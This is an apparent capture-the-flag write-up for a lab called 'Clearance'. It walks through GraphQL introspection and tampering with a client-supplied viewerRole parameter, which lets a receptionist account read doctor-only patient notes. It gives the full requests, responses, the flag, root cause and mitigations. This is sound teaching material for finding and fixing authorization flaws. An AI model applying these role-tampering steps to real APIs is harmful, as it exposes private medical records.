GraphQL Role Parameter Abuse Leads to Restricted Medical Note Disclosure | Clearance
Lab Link
Lab: Clearance
Overview
Clearance is a healthcare management portal used by medical staff to manage patient information and clinical records.
The application uses GraphQL for data retrieval and includes role-based restrictions intended to limit access to sensitive medical notes. Receptionists can view basic patient information, while physicians have access to restricted clinical records.
However, the backend exposes a user-controlled GraphQL parameter that determines which role should be used when rendering patient timeline data.
Because the server trusts the supplied role value instead of deriving permissions from the authenticated session, a receptionist can impersonate medical staff and access restricted patient notes.
Objective
Access doctor-only patient timeline entries by abusing a GraphQL role parameter exposed to low-privileged users.
Vulnerability Identification
Classification Hierarchy
1
2
3
4
A01 - Broken Access Control
└── Privilege Escalation
└── Client-Controlled Authorization
└── GraphQL Role Parameter Abuse
Reconnaissance
Opening the application reveals a healthcare portal named CliniCore.
The interface references several staff roles:
- Receptionist
- Nurse
- Physician
A banner also displays:
1
Doctor clearance required
This suggests that access to certain resources depends on user roles.
Account Registration
Create a new account through the registration functionality.
After signup, the application automatically authenticates the user.
A request to /api/me reveals the assigned role.
Request
1
2
3
GET /api/me HTTP/2
Host: c51803e6-4065-clearance-4c52e.challenges.webverselabs-pro.com
Cookie: connect.sid=REDACTED
Response
1
2
3
4
5
6
7
{
"id": 3,
"name": "kelvin",
"email": "kelvin@kel.com",
"role": "receptionist",
"staff_id": "RC-1023"
}
The account receives the default role:
1
receptionist
Discovering the GraphQL Endpoint
While browsing patient information, a GraphQL request appears in Burp Suite.
Request
1
2
3
4
5
6
7
8
9
POST /graphql HTTP/2
Content-Type: application/json
{
"query":"query SP($search: String) { patients(search: $search) { id name dob department } }",
"variables":{
"search":""
}
}
The application clearly relies on GraphQL for patient data access.
GraphQL Introspection
GraphQL introspection is enabled.
Enumerating Available Queries
1
2
3
{
"query":"{ __schema { queryType { fields { name } } } }"
}
Response
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"data":{
"__schema":{
"queryType":{
"fields":[
{
"name":"patients"
},
{
"name":"patientTimeline"
},
{
"name":"me"
}
]
}
}
}
}
One query immediately stands out:
1
patientTimeline
Enumerating Query Arguments
Next, inspect the query arguments.
Request
1
2
3
{
"query":"{__type(name:\"Query\"){fields{name args{name type{name kind ofType{name kind}}}}}}"
}
Response
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
"data":{
"__type":{
"fields":[
{
"name":"patients",
"args":[
{
"name":"search"
}
]
},
{
"name":"patientTimeline",
"args":[
{
"name":"patientId"
},
{
"name":"viewerRole"
}
]
}
]
}
}
}
The critical discovery is:
1
viewerRole
A role parameter supplied by the client is often a strong indicator of authorization weaknesses.
Capturing a Legitimate Request
Viewing a patient timeline generates the following request:
1
2
3
4
5
6
7
{
"query":"query GT($patientId: ID!, $viewerRole: String!) { patientTimeline(patientId: $patientId, viewerRole: $viewerRole) { patient { id name dob department } entries { id date type note restricted } }}",
"variables":{
"patientId":"3",
"viewerRole":"receptionist"
}
}
The application is explicitly sending the user’s role to the server.
Authorization decisions should never depend on client-controlled role values.
Exploitation
The server appears to trust the supplied role parameter.
The original request contains:
1
2
3
{
"viewerRole":"receptionist"
}
Replace it with:
1
2
3
{
"viewerRole":"doctor"
}
Modified Request
1
2
3
4
5
6
7
{
"query":"query GT($patientId: ID!, $viewerRole: String!) { patientTimeline(patientId: $patientId, viewerRole: $viewerRole) { patient { id name dob department } entries { id date type note restricted } }}",
"variables":{
"patientId":"3",
"viewerRole":"doctor"
}
}
Successful Privilege Escalation
The server processes the request using the attacker-supplied role.
Response
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"data":{
"patientTimeline":{
"patient":{
"id":"3",
"name":"Hendricks, J.",
"dob":"1988-11-05",
"department":"Neurology"
},
"entries":[
{
"id":"8",
"date":"2025-03-11",
"type":"Specialist Note",
"note":"WEBVERSE{417000493a23030d03781e023d4c225a}",
"restricted":true
}
]
}
}
}
The receptionist account successfully accesses physician-only medical notes.
Flag
1
WEBVERSE{417000493a23030d03781e023d4c225a}
Root Cause Analysis
The backend trusts a client-controlled authorization parameter:
1
viewerRole
instead of enforcing permissions based on the authenticated session.
The vulnerable design effectively performs:
1
getTimeline(patientId, viewerRole);
where:
1
viewerRole
is supplied by the attacker.
As a result, low-privileged users can impersonate higher-privileged roles simply by modifying a GraphQL variable.
Impact
An attacker can:
- Access restricted patient notes
- View sensitive medical information
- Bypass role-based access controls
- Escalate privileges
- Access records intended only for medical staff
In a real healthcare environment this could lead to:
- HIPAA violations
- Patient privacy breaches
- Unauthorized disclosure of clinical records
- Regulatory penalties
Mitigation
Derive Roles Server-Side
Never trust role values supplied by clients.
Vulnerable Design
1
getTimeline(patientId, viewerRole);
Secure Design
1
getTimeline(patientId, req.user.role);
Implement Field-Level Authorization
Every sensitive GraphQL resolver should verify permissions before returning data.
Remove Authorization Parameters
Clients should never control:
1
2
3
4
role
permissions
access_level
is_admin
values.
Restrict GraphQL Introspection
Disable schema introspection in production environments whenever possible.
Enforce Centralized RBAC
Authorization decisions should be derived exclusively from trusted session data.
Real-World Insight
Authorization flaws in GraphQL APIs frequently arise when developers expose internal helper parameters intended for preview tools, administrative interfaces, or debugging functionality.
Because GraphQL encourages flexible data retrieval, a single authorization mistake can expose large volumes of sensitive information.
The Clearance challenge demonstrates a critical security principle:
Roles and permissions must always be enforced by the server. If the client can choose its own role, the client controls authorization.
